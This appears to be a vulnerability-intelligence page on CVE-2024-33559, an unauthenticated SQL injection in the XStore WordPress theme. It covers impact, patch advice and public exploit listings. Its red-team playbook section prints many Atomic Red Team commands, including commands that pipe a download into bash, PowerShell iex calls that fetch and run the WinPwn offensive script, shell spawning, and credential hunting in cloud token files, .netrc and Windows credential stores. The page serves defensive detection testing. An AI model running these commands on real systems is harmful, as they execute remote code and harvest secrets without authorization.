CVE-2024-33559
Overview
This vulnerability is an SQL Injection flaw caused by improper neutralization of special elements in SQL commands within the 8theme XStore WordPress theme. The root cause lies in the failure to sanitize user-supplied input before incorporating it into SQL queries. The affected component is the XStore theme versions up to 9.3.5, which processes database queries without adequate input validation, enabling injection of malicious SQL code.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in 8theme XStore allows SQL Injection.This issue affects XStore: from n/a through 9.3.5.
Impact
An attacker can exploit this vulnerability to execute arbitrary SQL queries on the backend database, potentially retrieving sensitive information such as user credentials or site configuration data. The exploit requires no authentication or user interaction, allowing remote attackers to compromise data confidentiality and integrity. This can lead to unauthorized data disclosure, partial service disruption, or further attacks leveraging extracted information, impacting the confidentiality and availability of the affected WordPress site.
Solution
Users of the 8theme XStore WordPress theme should upgrade to version 9.3.6 or later, where this SQL Injection vulnerability has been addressed. The patchstack advisory at https://patchstack.com/database/vulnerability/xstore/wordpress-xstore-theme-9-3-5-unauthenticated-sql-injection-vulnerability?_s_id=cve provides detailed remediation instructions. Applying the update replaces vulnerable code with sanitized input handling, mitigating the SQL Injection risk. No alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to an improper neutralization of special elements used in SQL commands, commonly known as SQL Injection. This flaw exists within the XStore theme developed by 8theme, which is widely utilized in e-commerce platforms. The core of the issue lies in the inadequate sanitization of user input before it is processed by SQL queries. Attackers can exploit this vulnerability by injecting malicious SQL code through input fields that do not properly validate or escape user data. As a result, unauthorized access to the database can occur, allowing attackers to execute arbitrary SQL commands, retrieve sensitive information, or manipulate the database contents.
Attack vectors for this vulnerability are varied and can be executed through multiple entry points within the application. Common scenarios include form submissions, URL parameters, and API requests where user input is directly incorporated into SQL queries without sufficient validation. For instance, an attacker could craft a malicious input string that alters the intended SQL command, potentially leading to data exfiltration or even complete database compromise. The exploitation process can be automated using various tools designed for SQL injection attacks, making it accessible to individuals with varying levels of technical expertise. Given the widespread use of the XStore theme, the potential for exploitation across numerous e-commerce sites significantly amplifies the risk.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on the XStore theme for their online operations. Successful exploitation can lead to unauthorized access to customer data, including personal information, payment details, and order histories. Such breaches not only compromise customer trust but also expose businesses to legal ramifications and regulatory fines, especially under data protection laws like GDPR or CCPA. Additionally, the financial implications of a data breach can be severe, encompassing costs related to incident response, public relations efforts, and potential loss of revenue due to downtime or reputational damage. The high CVSS score of 9.3 underscores the critical nature of this vulnerability, indicating that it poses a significant threat to the confidentiality, integrity, and availability of affected systems.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate SQL injection vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious traffic and blocking common SQL injection patterns. Furthermore, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, to ensure that user input is properly sanitized and does not interfere with SQL command execution. Continuous monitoring of application logs for unusual database queries can also aid in the early detection of potential exploitation attempts.
In conclusion, the SQL injection vulnerability within the XStore theme presents a critical threat to e-commerce platforms. The ease of exploitation, coupled with the potential for significant real-world impact, necessitates immediate attention from developers and security professionals alike. By adopting proactive detection and mitigation strategies, organizations can safeguard their applications against this type of attack, thereby protecting sensitive data and maintaining customer trust in their online services.
CSURFACE threat intelligence has identified a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-33559, rising by over 15% to a current level that places it near the 91st percentile of exploit likelihood. Although the short-term trend remains stable without a rapid surge, this upward adjustment reflects growing confidence in the exploitability of the SQL injection vulnerability affecting the XStore WordPress theme. Concurrently, new proof-of-concept exploits have surfaced on public platforms, reinforcing the practical feasibility of attacks leveraging this flaw. For defenders, this evolution signals an elevated risk environment where opportunistic threat actors may be more incentivized to target vulnerable installations. The increased EPSS score, combined with accessible exploit code, underscores the criticality of monitoring for exploitation attempts and prioritizing defensive measures. While the overall threat level remains critical, this update highlights a subtle but meaningful intensification in the exploitation landscape that demands sustained vigilance.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Wordpress Theme XStore 9.3.8 - SQLi | Abdualhadi khalifa | webapps | php | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
absholi7ly/WordPress-XStore-theme-SQL-Injection
(CVE-2024-33559) The XStore theme for WordPress is vulnerable to SQL Injection due to insufficient escaping on the user...
|
absholi7ly | 9 | 0 | 2024-05-17 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-33559 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/xstore/wordpress-xstore-theme-9-3-5-unauthenticated-sql-injection-vulnerability?_s_id=cve |